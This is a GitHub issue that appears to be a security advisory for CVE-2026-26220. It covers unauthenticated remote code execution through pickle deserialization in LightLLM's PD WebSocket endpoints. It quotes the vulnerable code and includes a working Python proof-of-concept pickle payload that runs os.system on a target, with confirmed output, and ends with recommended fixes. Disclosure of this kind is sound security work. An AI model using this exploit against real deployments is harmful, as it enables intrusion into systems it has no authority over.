Skip to content

CVE-2026-26220: Unauthenticated RCE via Pickle Deserialization in PD WebSocket Endpoints #1213

@Chocapikk

Description

@Chocapikk

Summary

LightLLM's PD (prefill-decode) disaggregation system contains a critical unauthenticated Remote Code Execution vulnerability caused by unsafe pickle.loads() on data received from WebSocket connections with no authentication.

CVE: CVE-2026-26220
CVSS 4.0: 9.3 Critical (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)
CWE: CWE-502 - Deserialization of Untrusted Data

Prior Reports and Inaction

This is not the first time unsafe deserialization has been reported to this project:

Due to this pattern of inaction on security reports, this vulnerability is now tracked as CVE-2026-26220 assigned by VulnCheck.

The WebSocket endpoints reported here (/pd_register, /kv_move_status) are a different attack surface from the ZMQ issue in #784, but the root cause is identical: unsafe pickle.loads() on untrusted network input.

Affected Versions

  • LightLLM <= 1.1.0

Vulnerable Code

/pd_register endpoint (api_http.py line 310)

@app.websocket("/pd_register")
async def register_and_keep_alive(websocket: WebSocket):
    await websocket.accept()
    ...
    try:
        while True:
            data = await websocket.receive_bytes()
            obj = pickle.loads(data)          # <-- RCE: no validation
            await g_objs.httpserver_manager.put_to_handle_queue(obj)

/kv_move_status endpoint (api_http.py line 331)

@app.websocket("/kv_move_status")
async def kv_move_status(websocket: WebSocket):
    await websocket.accept()
    ...
    try:
        while True:
            data = await websocket.receive_bytes()
            upkv_status = pickle.loads(data)  # <-- RCE: no validation

Worker PD loop (pd_loop.py line 106)

while True:
    recv_bytes = await websocket.recv()
    obj = pickle.loads(recv_bytes)            # <-- RCE: no validation

Config server response (pd_loop.py line 186)

base64data = response.json()["data"]
id_to_pd_master_obj = pickle.loads(base64.b64decode(base64data))  # <-- RCE via config server

Attack Vector

The PD master enforces that the host is NOT localhost:

assert manager.args.host not in ["127.0.0.1", "localhost"]

This means the WebSocket endpoints are always network-exposed by design. No authentication is required to connect. Any network-reachable attacker can:

  1. Open a WebSocket connection to /pd_register or /kv_move_status
  2. Send a crafted pickle payload containing an arbitrary command
  3. The server deserializes it via pickle.loads(), executing the embedded code

Proof of Concept

import pickle, os, json, asyncio, websockets

class RCE:
    def __reduce__(self):
        return (os.system, ('id > /tmp/pwned',))

async def exploit(target):
    async with websockets.connect(f'{target}/pd_register') as ws:
        # Step 1: Send required JSON registration (text frame)
        await ws.send(json.dumps({
            "node_id": 9999,
            "client_ip_port": "127.0.0.1:9999",
            "mode": "prefill",
            "start_args": {},
        }))
        # Step 2: Send malicious pickle (binary frame) -> pickle.loads() = RCE
        await ws.send(pickle.dumps(RCE()))

asyncio.run(exploit('ws://TARGET:8000'))

Confirmed Result

uid=1000(user) gid=1001(user) groups=1001(user),27(sudo),128(docker)

RCE confirmed on both /pd_register and /kv_move_status endpoints.

Affected Deployments

Any LightLLM instance running in PD disaggregation mode (--run_mode prefill, --run_mode decode, or --run_mode pd_master).

Recommended Fix

  1. Replace pickle.loads() with a safe serialization format (JSON, MessagePack, protobuf) for all inter-node WebSocket communication
  2. Add authentication to WebSocket endpoints (token-based, TLS client certs)
  3. If pickle is required for internal IPC, implement HMAC-based message signing and restrict WebSocket connections via authentication

References

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions